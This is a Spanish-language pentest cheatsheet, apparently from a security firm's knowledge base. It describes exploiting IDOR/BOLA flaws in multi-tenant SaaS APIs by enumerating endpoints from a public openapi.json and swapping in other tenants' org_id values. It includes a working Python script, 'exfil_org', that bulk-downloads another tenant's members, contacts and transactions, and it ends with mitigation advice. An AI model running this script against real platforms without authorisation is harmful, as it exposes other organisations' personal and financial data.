Cheatsheet

Explotación de IDOR/BOLA en APIs multi-tenant por enumeración programática de endpoints

Nota de origen: este cheatsheet documenta un script y flujo de trabajo REALES, creados y ejecutados por Websec Argus en un pentest autorizado a una plataforma SaaS multi-tenant. Se anonimizó completamente — sin dominio, org_id, tokens ni datos reales.

Muchas plataformas SaaS multi-tenant exponen su REST API con un patrón /api/v1/orgs/{org_id}/<recurso>. El error más común no está en un solo endpoint, sino en la SUPERFICIE completa: basta con tener un token JWT válido de UN tenant (incluso una cuenta de prueba propia) para descubrir que decenas de endpoints no verifican que org_id en la URL coincida con el tenant real del token.

Flujo de trabajo real

  1. Levantar el mapa de endpoints sin autenticación: muchas de estas plataformas exponen GET /api/v1/openapi.json públicamente (sin Authorization) — es el mapa completo de la superficie de ataque, generado por el propio framework (FastAPI/Django REST/NestJS con Swagger). Si existe, es el primer paso: da la lista completa de recursos {org_id}-scoped a probar.
  2. Obtener UN token válido de UN tenant — cuenta de prueba propia otorgada por el cliente para el engagement, o un usuario de bajo privilegio.
  3. Escribir un script que enumere TODOS los endpoints listados en el openapi.json, sustituyendo {org_id} por: (a) el org_id propio (control — debe funcionar), (b) un org_id ajeno adivinado o filtrado en otra respuesta (el verdadero test de IDOR/BOLA).
  4. Automatizar la descarga completa, no solo un endpoint suelto: un solo IDOR aislado ("puedo ver el perfil de otro org") suele subestimarse en el informe. Descargar TODOS los recursos accesibles (miembros, contactos, transacciones, consumo/facturación, invitaciones) en un solo script demuestra el impacto real: exfiltración completa de un tenant ajeno, no solo un campo.
  5. Separar recursos "globales" de recursos "por org": algunos endpoints (/templates, /voices en un ejemplo real de plataforma de voz IA) no llevan org_id en absoluto y devuelven datos compartidos entre TODOS los tenants con solo tener sesión — otro hallazgo, distinto del IDOR pero igual de relevante para el informe (falta de segmentación por diseño, no solo falla de autorización puntual).

Esqueleto de script (patrón real, generalizado)

import json, os, urllib.request

API = "https://<target>/api/v1"

def req(url, token):
    r = urllib.request.Request(url, headers={"Authorization": f"Bearer {token}"})
    try:
        with urllib.request.urlopen(r, timeout=20) as resp:
            return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")

def exfil_org(org_id, token, out_dir):
    endpoints = {
        "org.json": f"{API}/orgs/{org_id}",
        "members.json": f"{API}/orgs/{org_id}/members",
        "contacts.json": f"{API}/orgs/{org_id}/contacts?page_size=500",
        "consumption.json": f"{API}/orgs/{org_id}/consumption",
        "transactions.json": f"{API}/orgs/{org_id}/consumption/transactions",
        # ... poblar dinámicamente esta lista desde openapi.json
    }
    os.makedirs(out_dir, exist_ok=True)
    for name, url in endpoints.items():
        code, body = req(url, token)
        if code == 200:
            open(os.path.join(out_dir, name), "w").write(body)

La clave metodológica no es el código (es HTTP básico) sino la disciplina de cobertura total: generar la lista de endpoints a partir del propio openapi.json del objetivo en vez de probar "a mano" 3 o 4 rutas — así no se subestima el alcance real del IDOR.

Por qué importa para un pentest: en Websec Argus este patrón corresponde a lo que idor_scanner automatiza de forma genérica, pero cuando el objetivo expone su propio openapi.json, vale la pena generar el script de exfiltración dirigido en el momento — cubre en minutos endpoints que un scanner genérico no conoce de antemano (rutas específicas del dominio de negocio del cliente, ej. /promises, /phone-numbers en una plataforma de cobranza).

Mitigación real a recomendar: middleware de autorización que valide org_id de la URL contra el org_id embebido en el JWT/sesión en TODOS los endpoints (no verificación ad-hoc por handler), y separación explícita de recursos verdaderamente globales vs. recursos que deberían ser org_id-scoped pero no lo son.

Ver también: [[indice-de-casos-reales-de-brechas-publicas-por-vector#APIs sin autenticación / IDOR|casos públicos de IDOR/API]], [[metodologia-de-pentesting-de-apis-rest-y-graphql-enumeracion|metodología de pentesting de APIs REST/GraphQL]], [[cheatsheet-de-dos-por-abuso-de-limites-ausentes-creacion-masiva-e-importacion-sin-limite|DoS por límites ausentes]] (mismo engagement, mismo tenant).